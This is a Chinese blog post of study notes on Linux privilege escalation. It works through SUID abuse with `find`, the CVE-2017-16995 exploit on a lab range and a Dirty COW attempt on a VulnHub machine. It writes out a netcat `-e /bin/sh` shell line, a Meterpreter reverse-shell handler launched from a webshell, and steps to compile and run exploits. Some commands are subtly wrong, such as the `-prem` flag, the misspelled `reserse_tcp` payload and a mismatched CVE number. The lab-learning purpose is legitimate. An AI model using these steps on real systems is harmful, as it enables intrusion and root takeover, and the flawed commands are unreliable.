网安学习-Linux提权

目录

信息收集

SUID

Linux提权本地配合内核漏洞演示-Mozhe(Ubuntu 16.04漏洞复现 CVE-2017-16995)

漏洞背景

影响版本

漏洞复现

 Linux脏牛内核漏洞


信息收集

LinEnum(通过webshell等权限将脚本上传至/tmp目录,该目录是一个临时目录,重启后会清空,一般是可以进行读写的),上传其他目录可能会因为权限不够而失败。

扫描二维码关注公众号,回复: 14431182 查看本文章

Linuxprivchecker是一个python文件,前期要收集服务器是否能够运行python文件。

重点是要使用chmod +x LinEnum为它赋权

两个漏洞探针:linux-exploit-suggester ,linux-exploit-suggester2(是一个pl脚本),两者各有优缺点,前者显示的信息比较详细,后者比较简洁,但是前者可能存在误报。

两个漏洞探针的下载地址为:GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester

信息收集的作用:为后续的提权做准备

漏洞探针的作用:可以判定主机可能存在的漏洞

SUID

小迪老师这里演示的环境是-Aliyun(基于web权限,通过Linux提权SUID配合上脚本演示)

漏洞成因:chmod u+s给予了suid u-s删除了suid

执行过chmod u+s后,如果用户调用了这个程序会以root权限运行

提权过程:探针是否有suid(手工或者脚本)-特定SUID利用-吃瓜

使用以下命令的作用就是判断是否有SUID提权的可能性

find / -user root -prem -4000 -print 2>/dev/null

find / -prem -u=s -type f 2>/dev/null

find / -user root -prem -4000 -exec ls -ldb { } \;

凡是出现下列关键字,则证明可能存在SUID

整个流程是:通过冰蝎来连接webshell,打开MSF启动监听,在冰蝎上选择反弹shell窗口,启动msfconsole,之后use exploit/multi/handler ,设置payload(set payload php/meterpreter/reserse_tcp)设置一下rhost以及rport,之后就是点击冰蝎的“给我连”,成功连接会话,可以通过使用getuid来看一下此时的权限,显示的是(www-data),此时便可以将信息收集脚本上传至MSF然后再通过msf上传至目标服务器,这里也可以通过冰蝎的文件管理系统进行上传。上传至上面说的/tmp目录下面,执行文件,可能会发现没有执行权限,我们还是通过chmod +x 来赋予执行权限,在进行文件的执行。

发现了find。 通过上面的文章,我们知道了find是存在着SUID提权的,

touch xiaodifind xiaodi -exec whoami \;find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;netcat xx.xx.xx.xx 5555

之后通过getuid的命令查看是否成功提权即可。

Linux提权本地配合内核漏洞演示-Mozhe(Ubuntu 16.04漏洞复现 CVE-2017-16995)

漏洞复现靶场地址:Ubuntu 16.04漏洞复现(CVE-2017-16995)_主机安全_在线靶场_墨者学院_专注于网络安全人才培养

漏洞背景

Ubuntu 16.04版本存在本地提权漏洞,该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题。 

攻击者(普通用户)可以利用该漏洞进行提权攻击,获取root权限,危害极大。

目前,主要是Debian和Ubuntu版本受影响,Redhat和CentOS不受影响。

影响版本

Linux内核:Linux Kernel Version 4.4 ~ 4.14

Ubuntu版本:16.04.01~ 16.04.04

漏洞复现

首先打开靶场,通过Xshell远程连接目标主机。

之后就是通过xftp上传漏洞探针,这里使用的是linux-exploit-suggester2,上传至目标主机的tmp目录下。

 之后通过perl来执行漏洞探针(linux-exploit-suggester2)

可以看到有CVE-2017-16695,这里可以通过wget去下载,我之前就已经在网上下载了对应的EXP,之后就是将exp上传至目标主机。

之后就是编译45010.c这个文件。

 执行编译之后的文件45010

成功拿到root的权限。 之后便可以查看一下根目录有哪些文件,发现了key.txt文件。

 Linux脏牛内核漏洞

这里使用的是vulnhub上提供的环境。地址链接为:Lampião: 1 ~ VulnHub

将下载的压缩包,进行解压,得到如下的文件。

 通过VM虚拟机直接打开.ovf文件即可。我们是无法通过密码直接进行登录的,不然直接拿到答案了。这里的攻击机使用了忍者的系统。先进行nmap进行扫描。当前的网段。

 发现192.168.52.134这个是我们的目标。接下来就是通过nmap来扫描该主机的端口号。nmap -p 192.168.52.134

这里就发现了80和1898端口,尝试访问这两个端口。

在访问1898这个端口的时候,发现了搭建该网站的cms为 Drupal。

接下来就是在攻击机上使用msf,来搜索对应cms的漏洞,或者是直接在网上搜索cmd的漏洞

 寻找对应的poc,是第四个,property权限嘛!

之后设置IP地址和端口号,分别对应目标主机的ip地址和端口号。

查看当前的用户的权限。

 得到了一个web权限,接下来就是将漏洞探针文件上传至目标主机的操作了。

这里出现了问题,始终不能执行这个文件不知为什么,爆出了这样的错误。有明白的大佬,恳请大佬指导一下。

(这里我还以为是系统的问题,又换成了kali)

继续往下做吧。这里给出了exp。相关的exp下载地址为https://www.exploit-db.com/download/40847https://www.exploit-db.com/download/40847

这里下载下来是一个cpp文件,然后上传到目标主机。哎,我后面一直在报这个错误,搞不懂,百度半天也没找到原因。

 这里就没办法继续进行了,整理一下下面的知识点吧。

编译40847.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

接下来就是通过pty.spawn启用一个交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

./40847       执行编译后的文件

便可以拿到root的权限。

上面出现的原因,还恳请知道原因的大佬告诉我。非常感谢!

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125941759